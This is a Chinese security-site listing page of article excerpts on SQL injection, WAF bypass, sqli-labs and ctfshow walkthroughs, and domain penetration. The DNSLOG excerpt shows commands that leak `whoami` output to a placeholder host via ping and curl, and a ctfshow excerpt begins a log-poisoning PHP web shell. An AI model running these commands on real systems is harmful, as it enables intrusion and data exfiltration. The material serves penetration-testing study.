select - 第 2 | CN-SEC 中文网

安全文章

SQL注入 | 数据库语法整理及WAF绕过方式

免责声明本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。只供对已授权的目标使用测试，对未授权目标的测试作者不承担责任...

02月07日131 views评论

阅读全文

【文末赠书】一个诺基亚网站的sqli

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。正文一个sqi的案例,这里记录一下笔记:使...

02月04日安全文章21 views评论

阅读全文

安全文章

.NET 高权限下利用16进制编码绕过注入防护

0x01 背景近期有师傅在dotNET安全矩阵微信群里讨论SQL注入实战中遇到代码层面的过滤拦截，导致无法正常注入出有价值的数据，我们知道MSSQL数据库以SA账户配置时还可以执行系统命令，本篇介绍的...

02月02日73 views评论

阅读全文

安全文章

渗透测试-DNSLOG使用技巧

0x01 命令执行场景 Liunx/Unix/Mac OS系统:ping `whoami`.mydnslog.comcurl http://mydnslog.com/`whoami...

01月25日65 views评论

阅读全文

安全文章

SQLi_Labs-5.Challenges

5.ChallengesLess-54如果没有点提交按钮将会进入下面的else语句，有过滤，显然突破口在上面。如果点了提交将会setcookie，然后看到有个GET提交的id参数，然后有个更新数据库操...

01月19日46 views评论

阅读全文

安全文章

探寻SQL注入的历史价值内涵分析&Django中存在的SQL注入学习&代码审计与分析[上]

前言SQL注入，是每个网安人不得不面对的漏洞，同样也造就了一大批新技术的产生。13年就有人说SQL注入已死。然而直到19年网上还有大批SQL注入的教程。到底是是SQL注入已经从原理上被根绝了。还是说只...

01月03日24 views评论

阅读全文

安全博客

【原创】ctfshow—web（1—14）

[huayang] web1 web2 手注 sqlmap web3 web4 payload ?url=/var/log/nginx/access.log 看日志写入一句话 <?php @e...

01月01日14 views评论

阅读全文

sqli-labs 通关之路（未完成）

N年前就下载过的 SQL 注入靶场，终于在今天认真玩一玩。网上教程和攻略很多，方法也不尽相同。取所需吧~ 前置知识点乱记 SQL注入 5 种类型：布尔注入，时间注入，报错注入，联合查询注入，堆查询注入...

01月01日安全博客14 views评论

阅读全文

JavaWeb代码审计

JavaWeb代码审计小抄，持续更新ing... 一、常见漏洞类型 1. SQL注入 📌漏洞成因直接使用SQL语句拼接，将用户传入的参数通过字符串拼接的方式传入查询语句。示例：String sql...

01月01日安全博客29 views评论

阅读全文

安全文章

攻防演练 | 一次域渗透

外网打点sqlmap取shellMshta 反弹 shell提权msf提权cs提权创建用户抓取密码获取域内的基础信息查询机器属于哪个域查询当前内网中域数量查询域控制器主机名查询域控制器查看一下域控制器...

12月17日59 views评论

阅读全文

安全文章

三进三出 | 渗透实战

写了一个多月的各种方案，终于抽个空可以做点技术活了测试一个单位，其中一个官网，点进去一看，质朴中透露着一股有问题的气息，看了一下架构：IIS+PHP，美妙的组合。迅速定位到了一个点可能存在注入，但是，...

12月09日37 views评论

阅读全文

安全文章

渗透测试 | 从sql注入到连接3389

判断字符、数字型、闭合方式判断是否是站库分离报错注入从sql注入到连接3389据库为sqlserver判断字符、数字型、闭合方式Microsoft OLE DB Prov...

11月25日68 views评论

阅读全文

在线咨询

微信